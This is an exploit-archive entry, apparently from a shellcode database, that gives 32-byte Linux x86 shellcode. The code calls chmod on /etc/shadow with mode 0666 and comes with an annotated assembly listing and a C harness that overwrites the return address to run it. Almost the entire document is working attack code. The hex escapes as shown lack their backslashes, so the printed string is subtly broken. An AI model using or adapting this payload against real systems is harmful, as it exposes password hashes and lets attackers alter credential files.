[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 chmod(/etc/shadow, 0666) + exit() 32 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 eject/close cd-rom loop (follows /dev/cdrom symlink) 45 bytes
# Next Title : linux/x86 connect-back shellcode 127.0.0.1:31337/tcp 74 bytes
/*
* (linux/x86) chmod("/etc/shadow", 0666) + exit() - 32 bytes
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax0f" // push $0xf
"x58" // pop %eax
"x31xc9" // xor %ecx,%ecx
"x51" // push %ecx
"x66xb9xb6x01" // mov $0x1b6,%cx
"x68x61x64x6fx77" // push $0x776f6461
"x68x63x2fx73x68" // push $0x68732f63
"x68x2fx2fx65x74" // push $0x74652f2f
"x89xe3" // mov %esp,%ebx
"xcdx80" // int $0x80
"x40" // inc %eax
"xcdx80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]